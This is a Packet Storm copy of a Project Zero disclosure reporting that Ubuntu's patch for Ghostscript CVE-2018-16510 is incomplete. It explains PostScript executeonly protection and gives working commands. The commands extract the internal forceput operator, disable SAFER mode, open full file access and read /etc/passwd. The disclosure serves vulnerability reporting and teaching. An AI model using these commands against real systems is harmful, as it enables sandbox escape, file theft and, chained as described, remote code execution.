what you don't know can hurt you

Ubuntu Ghostscript Failed Fix

Ubuntu Ghostscript Failed Fix
Posted Nov 30, 2018
Authored by Tavis Ormandy, Google Security Research

The fix Ubuntu applied to address the Ghostscript vulnerability identified in CVE-2018-16510 appears to be insufficient.

tags | exploit
systems | linux, ubuntu
advisories | CVE-2018-16510
MD5 | bf60fb38f298c008133783e5223c3485

Ubuntu Ghostscript Failed Fix

Change Mirror Download
Ubuntu: incomplete fix for CVE-2018-16510

This Ubuntu advisory claims to fix CVE-2018-16510:

<a href="https://usn.ubuntu.com/3768-1/" title="" class="" rel="nofollow">https://usn.ubuntu.com/3768-1/</a>

That does not appear to be true. The root cause of CVE-2018-16510 was that a bunch of procedures were in userdict that should have been executeonly, but were not. In ghostscript-9.22~dfsg+1-0ubuntu1.2 those procedures are not executeonly, and therefore the issue is still exploitable. In retrospect, I think I didn't explain the problem very well in <a href="/p/project-zero/issues/detail?id=1640" title="ghostscript: multiple critical vulnerabilities, including remote command execution" class="closed_ref" rel="nofollow"> bug 1640 </a>. Upstream does appear to have fixed it completely, but obviously they are postscript experts.

I think this class of postscript vulnerability isn't explained well anywhere, so for future reference I'll explain the problem.

A procedure in postscript works how you would expect, like a function you can call. However, if you grab a reference to it then you can sort of treat it like an array, adding and removing elements from it.

Here is an example, you define a procedure like this:

{ (hello\n) print }

We could assign a name to it like this if we want:

/whatever { (hello\n) print } def

That creates an entry in userdict, so now you can just call it like this:

GS>whatever
hello

Because it's now in userdict, you can get a reference to it and examine it. For example, pass it to the exec operator to get it executed:

GS>userdict /whatever get exec
hello

But look at this, you can also put and get elements as if it was an array:

GS>userdict /whatever get 0 get ==
(hello\n)
GS>userdict /whatever get 1 get ==
print

Notice that each command is a new element. In fact, if you query it's type, it is an array:

GS>userdict /whatever get type ==
arraytype

That's just standard postscript and not surprising, but remember that ghostscript is partially written in postscript (like emacs is partially written in lisp). This means ghostscript has a lot of internal operators that are supposed to be reserved for system use, and shouldn't be exposed to users.

To prevent users from getting references to operators out of system routines, a special attribute is set on them called `executeonly`. As the name suggests, this means you can execute the proecdure but you cannot access it's elements with `get` and `put`. Let's set the executeonly attribute on our whatever procedure:

GS>userdict /whatever userdict /whatever get executeonly put

Now we can still execute it:

GS>userdict /whatever get exec
hello

But if we try to access it's contents:

GS>userdict /whatever get 0 get
Error: /invalidaccess in --get--

Cool, now we can hide internal stuff users shouldnt be able to access. CVE-2018-16510 was a problem where a dictionary called GS_PDF_ProcSet was left in userdict which a bunch of internal routines in it. You can dump them all like this:

GS>userdict /GS_PDF_ProcSet get { == == } forall

They are mostly not very exciting, but look at this one:

GS>GS_PDF_ProcSet /switch_to_normal_marking_ops get ==
{pdfopdict /m {normal_m} --bind-- --.forceput-- pdfopdict /l {normal_l} --bind-- --.forceput-- pdfopdict /c {normal_c} --bind-- --.forceput-- pdfopdict /v {normal_v} --bind-- --.forceput-- pdfopdict /y {normal_y} --bind-- --.forceput-- pdfopdict /re {normal_re} --bind-- --.forceput--}

Oops, there's a forceput in there - that's a game over "root access" operator that ignores all access checks.

Here is how to extract it:

GS>/forceput { null } dup 0 GS_PDF_ProcSet /switch_to_normal_marking_ops get 4 get put def

Now we can call it and do whatever we want, how about we disable SAFER mode and give ourselves access to the whole filesystem. All of these settings are readonly, but forceput just ignores that:

GS>systemdict /SAFER false forceput
GS>systemdict /userparams get /PermitFileControl [(*)] forceput
GS>systemdict /userparams get /PermitFileWriting [(*)] forceput
GS>systemdict /userparams get /PermitFileReading [(*)] forceput

Now we can read/write/create files:

GS>(/etc/passwd) (r) file dup 64 string readline pop ==
(root:x:0:0:root:/root:/bin/bash)

Combine that with <a href="/p/project-zero/issues/detail?id=1643" title="Debian/Ubuntu AppArmor policy for evince is bypassable" class="closed_ref" rel="nofollow"> bug 1643 </a> and there is an easy remote code execution just by browsing a website. I'll attach the full exploit to <a href="/p/project-zero/issues/detail?id=1643" title="Debian/Ubuntu AppArmor policy for evince is bypassable" class="closed_ref" rel="nofollow"> bug 1643 </a>, it requires a fun trick (credit to evn for the idea!) to create directories, because there is no mkdir operator in postscript.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: taviso

Login or Register to add favorites

File Archive:

September 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    20 Files
  • 2
    Sep 2nd
    15 Files
  • 3
    Sep 3rd
    15 Files
  • 4
    Sep 4th
    4 Files
  • 5
    Sep 5th
    1 Files
  • 6
    Sep 6th
    1 Files
  • 7
    Sep 7th
    15 Files
  • 8
    Sep 8th
    27 Files
  • 9
    Sep 9th
    7 Files
  • 10
    Sep 10th
    16 Files
  • 11
    Sep 11th
    9 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    25 Files
  • 15
    Sep 15th
    15 Files
  • 16
    Sep 16th
    15 Files
  • 17
    Sep 17th
    15 Files
  • 18
    Sep 18th
    12 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close